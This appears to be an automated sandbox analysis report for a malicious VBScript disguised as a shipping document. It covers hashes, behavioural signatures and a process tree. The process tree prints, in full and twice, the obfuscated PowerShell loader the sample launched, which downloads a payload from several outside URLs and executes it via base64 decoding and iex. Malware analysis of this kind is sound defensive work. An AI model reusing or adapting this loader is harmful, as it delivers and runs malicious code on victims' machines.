Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
93s -
max time network
106s -
platform
windows10-2004_x64 -
resource
win10v2004-20240704-en -
resource tags
arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system -
submitted
09/07/2024, 11:15
Static task
static1
Behavioral task
behavioral1
Sample
Awb_Shipping_doc_pdf_00900720242247820020091808174CN18009007000000924.vbs
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
Awb_Shipping_doc_pdf_00900720242247820020091808174CN18009007000000924.vbs
Resource
win10v2004-20240704-en
General
-
Target
Awb_Shipping_doc_pdf_00900720242247820020091808174CN18009007000000924.vbs
-
Size
102KB
-
MD5
7830b84566e2614c62d98026bff38786
-
SHA1
bf275fe87ba08ef95283293728ddcedd8a5a38b2
-
SHA256
e1bcd4fae5185f9d9e377759ed4500755c065a9db7f55f0589ba10b1ea9d330b
-
SHA512
dd95218ce35833e06bfe51136642975761c649d16f53bd1d55f3371866b61b57e41d3a4986379581f7b6ce4ff36db2e66139d1845e48a6f323d8def13d031bbb
-
SSDEEP
3072:+4oGKaBSPReHzR0WAjT28fyxa+CS64B9Ou4rIQCtvF:/t7SPReHd0WoT28faa+CS64mu8IQCtvF
Malware Config
Signatures
-
Blocklisted process makes network request 2 IoCs
flow pid Process 2 2144 WScript.exe 11 2060 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-587429654-1855694383-2268796072-1000\Control Panel\International\Geo\Nation WScript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 2060 powershell.exe 2060 powershell.exe 636 powershell.exe 636 powershell.exe 636 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2060 powershell.exe Token: SeDebugPrivilege 636 powershell.exe -
Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 2144 wrote to memory of 2060 2144 WScript.exe 86 PID 2144 wrote to memory of 2060 2144 WScript.exe 86 PID 2060 wrote to memory of 4320 2060 powershell.exe 88 PID 2060 wrote to memory of 4320 2060 powershell.exe 88 PID 2060 wrote to memory of 636 2060 powershell.exe 89 PID 2060 wrote to memory of 636 2060 powershell.exe 89 PID 2060 wrote to memory of 636 2060 powershell.exe 89 PID 636 wrote to memory of 4616 636 powershell.exe 90 PID 636 wrote to memory of 4616 636 powershell.exe 90 PID 636 wrote to memory of 4616 636 powershell.exe 90
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Awb_Shipping_doc_pdf_00900720242247820020091808174CN18009007000000924.vbs"1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2144 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Zymology Desmogen Fdselsaaret Skaf Regularising Fjeldmarkers Oktavias Skalaernes pronely Indefatigableness Axes Spejlreflekskameras Byfornyelsen Materielforvalter Aleuron Hjesteretsdommer63 Solbatteriers Anarkismen winona Pinder Beneficieredes Eleutherios Overfrsler Thunked Zymology Desmogen Fdselsaaret Skaf Regularising Fjeldmarkers Oktavias Skalaernes pronely Indefatigableness Axes Spejlreflekskameras Byfornyelsen Materielforvalter Aleuron Hjesteretsdommer63 Solbatteriers Anarkismen winona Pinder Beneficieredes Eleutherios Overfrsler Thunked';If (${host}.CurrentCulture) {$Hvidsm++;}Function Forsideartiklen($Sportslige){$Tistykpakkens21=$Sportslige.Length-$Hvidsm;$Emerituses='SUBsTR';$Emerituses+='ing';For( $Hyperuricemia=1;$Hyperuricemia -lt $Tistykpakkens21;$Hyperuricemia+=2){$Zymology+=$Sportslige.$Emerituses.Invoke( $Hyperuricemia, $Hvidsm);}$Zymology;}function Hermeneutically7($Microsomial){ . ($Leegatioen) ($Microsomial);}$fastprisordningernes=Forsideartiklen ' Mso,zeiBlPl aA/ 5A.,0M .(MWTiAnVdAoSwPsI RN TS L1U0 . 0 ; TW iDnB6 4 ;R .x.6V4.; Ar vS:S1 2U1 . 0 )U GHe c.kto./N2B0L1.0.0 1F0,1S NF,i r ePfCoFx,/.1 2 1P.C0Z ';$brdbilles=Forsideartiklen ' U sEeurP- ATgBeAn t. ';$Regularising=Forsideartiklen 'Ch,t t.pBsC:I/ /.n bB.Gf.u,hSnM8R. sPa . c o mS/ .tl l /BH v,a,l,p e sF.Tj.p b,> h tUt pCsN:P/./ fRiAr s.t 4Fl occSkLsGm iSt,h,s . c oM.Ku kd/SH,v,aFlCp,eUsT. j p,b >FhBtrt p sD:K/M/ m oCv i eUsFmBaSc kStSa l km. c.oPm,/.HCv.aLlRp eFsF.BjSp,bs ';$Repracticing=Forsideartiklen 'T>. ';$Leegatioen=Forsideartiklen 'Si e,x. ';$Ecca='Skalaernes';$calvados = Forsideartiklen ' eDc h o %iaEpFpFd a t.a.%C\IPRr iImSaHdPoTnPnWaBe r.n,e s..FTSr,i, t& &I e c h o t ';Hermeneutically7 (Forsideartiklen 'H$mgSlFoVbSa la:UI nEdDeBkLsFfDehjNlGe nSe =R( cSmDdG ./.cF $RcRaKlHvuaFdHoBs )T ');Hermeneutically7 (Forsideartiklen ',$ g.lUoKb,aSl.: SFkHa fP=.$.R e.g u lBaSrCiBsLi n gh.MsKp l i.t (K$GRhe p.r aKcEtSiTcPiDnDgB), ');Hermeneutically7 (Forsideartiklen ' [AN est ..S eTr vSiScTe P o iSn tSMiaPn.aEgHeBrb] :M: SAeec,uMr iKt.y PBrsoPtBosc,o,lK R=x .[,NAe,t .US ePcSu r iStUyTP,r oStto c oKl TdyPpRea]R: :.T l sF1M2. ');$Regularising=$Skaf[0];$Tinderbox= (Forsideartiklen 'A$.gNlIo bEaBl : N,eAg l iWgjeLe sD=.NUe w -SOGb jReMc,t S.y s t,e mT.LN,e.t,.UW eNb,CAl.i eMnCt');$Tinderbox+=$Indeksfejlene[1];Hermeneutically7 ($Tinderbox);Hermeneutically7 (Forsideartiklen 'L$FN e.g,lSi g e.e sQ. H.e a,d e,rBs.[u$,b,red bCiBl.l e s ] =U$ f aFs t p r.ius oNr dSn i nCg e r nPePsF ');$Ozokerit=Forsideartiklen ' $,Nbe,gTlJi g epeSs,. D.oMwKnFlNo,a dDF i l,eA(E$MRPe gPu lCa r,i sWiGn.g ,,$.E,lFe.uHtDh ePr i o.sB) ';$Eleutherios=$Indeksfejlene[0];Hermeneutically7 (Forsideartiklen '.$PgUl oSb aMlT: FOiBm.r e,c e l.l e,s 1 7 4D= (BT,eVsGtM-.PIaHt hB .$ ESl eSu t,hTeGrIi o sS)S ');while (!$Fimrecelles174) {Hermeneutically7 (Forsideartiklen 'D$Bg lLoAb aFlT: FNo r u dSs iRg.eOlSs e n s =P$Lt r u e. ') ;Hermeneutically7 $Ozokerit;Hermeneutically7 (Forsideartiklen 'OS.t,a rut -RSRl.eUe p C4 ');Hermeneutically7 (Forsideartiklen '.$IgNl o bDaPl : FUiFmEr eMc,eVl l eas,1b7P4E=R(OTSe.s tT-.PTa,tFhL S$KE.l e u.t,h e rkiToMs ) ') ;Hermeneutically7 (Forsideartiklen 'A$ gOlAo.b.a.lE:RFTdAsFeUl sBa a.r e,t,= $.g lToObPa lA: DSe.sMmMoSghe n +F+,%S$.SSk,aAfP.RcBoFuBnBtF ') ;$Regularising=$Skaf[$Fdselsaaret];}$Chronographs233=374185;$Somewhats13=25127;Hermeneutically7 (Forsideartiklen 'E$ g.l o bGa l :,pSr o n eMl.y K=C .GKe,tH-SCFo nPtTe nSt D$DESlVe.uVtVhPeNrNi o s ');Hermeneutically7 (Forsideartiklen 'E$SgEl oEb a,l :PR e.t sFgVrHu,nLd s tRn.iUnTg eGn.sK .=W [,S.yRs tSe mA..CNo n vLe r.t,] :D:GF r o,m,B.aasse 6,4 S.tDrCiBnNgP(T$Vp rVo nLe lsy )E ');Hermeneutically7 (Forsideartiklen ',$ gnl,o bia l : STpSeBj l r e fGl eSkds.k aSmFe r a s. .=. K[BS y.s t.e mA.LT eFxKtT..E.nOc ogd.i,nCgF],:,:MA SBC.IFI .BGEeNtSS t r iHn g.(.$RRSe,t s.g r uInkdGsWtRn i n gAePnVs )N ');Hermeneutically7 (Forsideartiklen 'B$ gOlDoAb a lD: CUrVo,o k e,r iFe,s =B$RS.p eSjPlBr e.fHl eKk,s k aLmme r aSsA. s uSb sTt.rSi n,gR( $ CRhFr,oMn oBg.rKaOpBhOs 2 3A3S,C$ SDo m.eMw hFaCttsU1.3F)s ');Hermeneutically7 $Crookeries;"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2060 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Primadonnaernes.Tri && echo t"3⤵PID:4320
-
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Zymology Desmogen Fdselsaaret Skaf Regularising Fjeldmarkers Oktavias Skalaernes pronely Indefatigableness Axes Spejlreflekskameras Byfornyelsen Materielforvalter Aleuron Hjesteretsdommer63 Solbatteriers Anarkismen winona Pinder Beneficieredes Eleutherios Overfrsler Thunked Zymology Desmogen Fdselsaaret Skaf Regularising Fjeldmarkers Oktavias Skalaernes pronely Indefatigableness Axes Spejlreflekskameras Byfornyelsen Materielforvalter Aleuron Hjesteretsdommer63 Solbatteriers Anarkismen winona Pinder Beneficieredes Eleutherios Overfrsler Thunked';If (${host}.CurrentCulture) {$Hvidsm++;}Function Forsideartiklen($Sportslige){$Tistykpakkens21=$Sportslige.Length-$Hvidsm;$Emerituses='SUBsTR';$Emerituses+='ing';For( $Hyperuricemia=1;$Hyperuricemia -lt $Tistykpakkens21;$Hyperuricemia+=2){$Zymology+=$Sportslige.$Emerituses.Invoke( $Hyperuricemia, $Hvidsm);}$Zymology;}function Hermeneutically7($Microsomial){ . ($Leegatioen) ($Microsomial);}$fastprisordningernes=Forsideartiklen ' Mso,zeiBlPl aA/ 5A.,0M .(MWTiAnVdAoSwPsI RN TS L1U0 . 0 ; TW iDnB6 4 ;R .x.6V4.; Ar vS:S1 2U1 . 0 )U GHe c.kto./N2B0L1.0.0 1F0,1S NF,i r ePfCoFx,/.1 2 1P.C0Z ';$brdbilles=Forsideartiklen ' U sEeurP- ATgBeAn t. ';$Regularising=Forsideartiklen 'Ch,t t.pBsC:I/ /.n bB.Gf.u,hSnM8R. sPa . c o mS/ .tl l /BH v,a,l,p e sF.Tj.p b,> h tUt pCsN:P/./ fRiAr s.t 4Fl occSkLsGm iSt,h,s . c oM.Ku kd/SH,v,aFlCp,eUsT. j p,b >FhBtrt p sD:K/M/ m oCv i eUsFmBaSc kStSa l km. c.oPm,/.HCv.aLlRp eFsF.BjSp,bs ';$Repracticing=Forsideartiklen 'T>. ';$Leegatioen=Forsideartiklen 'Si e,x. ';$Ecca='Skalaernes';$calvados = Forsideartiklen ' eDc h o %iaEpFpFd a t.a.%C\IPRr iImSaHdPoTnPnWaBe r.n,e s..FTSr,i, t& &I e c h o t ';Hermeneutically7 (Forsideartiklen 'H$mgSlFoVbSa la:UI nEdDeBkLsFfDehjNlGe nSe =R( cSmDdG ./.cF $RcRaKlHvuaFdHoBs )T ');Hermeneutically7 (Forsideartiklen ',$ g.lUoKb,aSl.: SFkHa fP=.$.R e.g u lBaSrCiBsLi n gh.MsKp l i.t (K$GRhe p.r aKcEtSiTcPiDnDgB), ');Hermeneutically7 (Forsideartiklen ' [AN est ..S eTr vSiScTe P o iSn tSMiaPn.aEgHeBrb] :M: SAeec,uMr iKt.y PBrsoPtBosc,o,lK R=x .[,NAe,t .US ePcSu r iStUyTP,r oStto c oKl TdyPpRea]R: :.T l sF1M2. ');$Regularising=$Skaf[0];$Tinderbox= (Forsideartiklen 'A$.gNlIo bEaBl : N,eAg l iWgjeLe sD=.NUe w -SOGb jReMc,t S.y s t,e mT.LN,e.t,.UW eNb,CAl.i eMnCt');$Tinderbox+=$Indeksfejlene[1];Hermeneutically7 ($Tinderbox);Hermeneutically7 (Forsideartiklen 'L$FN e.g,lSi g e.e sQ. H.e a,d e,rBs.[u$,b,red bCiBl.l e s ] =U$ f aFs t p r.ius oNr dSn i nCg e r nPePsF ');$Ozokerit=Forsideartiklen ' $,Nbe,gTlJi g epeSs,. D.oMwKnFlNo,a dDF i l,eA(E$MRPe gPu lCa r,i sWiGn.g ,,$.E,lFe.uHtDh ePr i o.sB) ';$Eleutherios=$Indeksfejlene[0];Hermeneutically7 (Forsideartiklen '.$PgUl oSb aMlT: FOiBm.r e,c e l.l e,s 1 7 4D= (BT,eVsGtM-.PIaHt hB .$ ESl eSu t,hTeGrIi o sS)S ');while (!$Fimrecelles174) {Hermeneutically7 (Forsideartiklen 'D$Bg lLoAb aFlT: FNo r u dSs iRg.eOlSs e n s =P$Lt r u e. ') ;Hermeneutically7 $Ozokerit;Hermeneutically7 (Forsideartiklen 'OS.t,a rut -RSRl.eUe p C4 ');Hermeneutically7 (Forsideartiklen '.$IgNl o bDaPl : FUiFmEr eMc,eVl l eas,1b7P4E=R(OTSe.s tT-.PTa,tFhL S$KE.l e u.t,h e rkiToMs ) ') ;Hermeneutically7 (Forsideartiklen 'A$ gOlAo.b.a.lE:RFTdAsFeUl sBa a.r e,t,= $.g lToObPa lA: DSe.sMmMoSghe n +F+,%S$.SSk,aAfP.RcBoFuBnBtF ') ;$Regularising=$Skaf[$Fdselsaaret];}$Chronographs233=374185;$Somewhats13=25127;Hermeneutically7 (Forsideartiklen 'E$ g.l o bGa l :,pSr o n eMl.y K=C .GKe,tH-SCFo nPtTe nSt D$DESlVe.uVtVhPeNrNi o s ');Hermeneutically7 (Forsideartiklen 'E$SgEl oEb a,l :PR e.t sFgVrHu,nLd s tRn.iUnTg eGn.sK .=W [,S.yRs tSe mA..CNo n vLe r.t,] :D:GF r o,m,B.aasse 6,4 S.tDrCiBnNgP(T$Vp rVo nLe lsy )E ');Hermeneutically7 (Forsideartiklen ',$ gnl,o bia l : STpSeBj l r e fGl eSkds.k aSmFe r a s. .=. K[BS y.s t.e mA.LT eFxKtT..E.nOc ogd.i,nCgF],:,:MA SBC.IFI .BGEeNtSS t r iHn g.(.$RRSe,t s.g r uInkdGsWtRn i n gAePnVs )N ');Hermeneutically7 (Forsideartiklen 'B$ gOlDoAb a lD: CUrVo,o k e,r iFe,s =B$RS.p eSjPlBr e.fHl eKk,s k aLmme r aSsA. s uSb sTt.rSi n,gR( $ CRhFr,oMn oBg.rKaOpBhOs 2 3A3S,C$ SDo m.eMw hFaCttsU1.3F)s ');Hermeneutically7 $Crookeries;"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:636 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Primadonnaernes.Tri && echo t"4⤵PID:4616
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
519KB
MD5aaa51108207338e063b6f752b4585df7
SHA1e95bcda7fb3e03b23d44ba666e823c81485cd166
SHA256a66b9ea1c5e89eb2fc5c573b9a4953280769b8b3c4e3172e3910154032f8f801
SHA51203614c9247e086c57c69542ac185cfe1eeef66a7d63eb4572f1974dd6375ab77e0a545cf8f98ef3f0c1fcc347ea3a0a4f1590f69b5215300ed6980b290a9aa65